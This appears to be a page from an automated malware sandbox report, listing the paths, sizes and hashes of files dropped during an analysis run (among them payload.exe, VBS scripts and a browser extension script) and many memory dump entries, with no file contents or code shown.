                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 125c6faee8f16ece3b42b02849eb9522049ada531b842da73757aed4632dcaae
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 1c35a7cd93d71beebd4b9ab3f29600252b419185ee06006062a8884200b38b04
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      StartupProfileData-NonInteractive
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 c5310b419850c8f120c3bb11503c073201de2ad7253038b787f64e3f29bdcc30
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      45ce4cfc-73ab-490f-a5ce-29c50da3a51c.tmp
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\45ce4cfc-73ab-490f-a5ce-29c50da3a51c.tmp
                                                                                                                                                      • Size 10KB
                                                                                                                                                      • SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      6c635876-99bc-47f2-960d-321f26eee4cc.tmp
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\6c635876-99bc-47f2-960d-321f26eee4cc.tmp
                                                                                                                                                      • Size 153KB
                                                                                                                                                      • SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      payload.exe
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                                                                                                      • Size 4.2MB
                                                                                                                                                      • SHA256 4a836b23c8dcec4d1160d3614581d9650eaaf87d0be2f222d313b164b15d2f9f
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      __PSScriptPolicyTest_z1ygshlx.jvz.ps1
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1ygshlx.jvz.ps1
                                                                                                                                                      • Size 60B
                                                                                                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      c0a43f9e-73b0-4c88-9cb2-ee643fb41837.tmp
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\c0a43f9e-73b0-4c88-9cb2-ee643fb41837.tmp
                                                                                                                                                      • Size 1B
                                                                                                                                                      • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                      Submit Download

                                                                                                                                                      dllhost_39893c.png
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\dllhost_39893c.png
                                                                                                                                                      • Size 598KB
                                                                                                                                                      • SHA256 0bee06c9766e69b0df06cec0e489c63763fb2f06d36535ef81def5fd757bd772
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      dpinst_4b0e76.png
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\dpinst_4b0e76.png
                                                                                                                                                      • Size 592KB
                                                                                                                                                      • SHA256 6ec188fd2d6b2eff6d2b16c984b9cdafdad6d861445f9d740048cfd24b96904c
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      dpinst_d22d1d.png
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\dpinst_d22d1d.png
                                                                                                                                                      • Size 598KB
                                                                                                                                                      • SHA256 445f93872063aac131a1db57005757c307ca19f07ce5c83509b2f2e735236f3d
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      mssetup_daddc1.vbs
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\mssetup_daddc1.vbs
                                                                                                                                                      • Size 239B
                                                                                                                                                      • SHA256 8fd714bcaa30ad839b9d936453222c119b3d4f1684c48723c237f415e8b819ca
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      content_new.js
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5940_161185539\CRX_INSTALL\content_new.js
                                                                                                                                                      • Size 10KB
                                                                                                                                                      • SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      wusetup_89bbd9.vbs
                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\wusetup_89bbd9.vbs
                                                                                                                                                      • Size 1KB
                                                                                                                                                      • SHA256 0f0069c8fc94ef16e41b8278d9a48e515f444b6ecbc70dfc4563888d290a59f3
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      default.dic
                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                                                                                                                                                      • Size 2B
                                                                                                                                                      • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                      Submit Download

                                                                                                                                                      Network Persistent State
                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                                                                                                                                                      • Size 300B
                                                                                                                                                      • SHA256 beea491b9ce056b6a3247b05b6467c6c29690dc9ca80cfc8475736278e1cf031
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      Network Persistent State~RFe597d93.TMP
                                                                                                                                                      • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe597d93.TMP
                                                                                                                                                      • Size 59B
                                                                                                                                                      • SHA256 c257f929cff0e4380bf08d9f36f310753f7b1ccb5cb2ab811b52760dd8cb9572
                                                                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                                                                      Submit Download

                                                                                                                                                      memory/1684-79-0x000002CAFFA00000-0x000002CAFFAB3000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-78-0x000002CAFF990000-0x000002CAFF9AC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-80-0x000002CAFF9D0000-0x000002CAFF9DA000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-81-0x000002CAFFD30000-0x000002CAFFD4C000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-82-0x000002CAFF9E0000-0x000002CAFF9EA000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-83-0x000002CAFFD50000-0x000002CAFFD6A000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-91-0x000002CAFFD10000-0x000002CAFFD18000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-92-0x000002CAFFD20000-0x000002CAFFD26000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/1684-93-0x000002CAFFD70000-0x000002CAFFD7A000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4356-58-0x000002C6E92E0000-0x000002C6E9302000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-319-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-402-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-320-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-328-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-329-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-327-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-284-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-322-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-279-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-342-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-343-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-341-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-350-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-349-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-337-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-353-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-357-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-358-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-366-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-365-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-369-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-374-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-373-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-372-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-383-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-381-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-266-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-384-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-390-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-395-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-403-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-315-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-394-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-406-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-410-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-411-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-418-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-422-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-426-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-427-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-435-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-434-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-437-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-438-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-443-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-442-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-441-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-254-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-253-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-242-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-241-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-240-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-239-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-238-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-237-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-236-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-235-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-234-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-233-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-232-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-230-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-231-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-217-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download

                                                                                                                                                      memory/4960-213-0x0000000190000000-0x00000001901DC000-memory.dmp
                                                                                                                                                      Download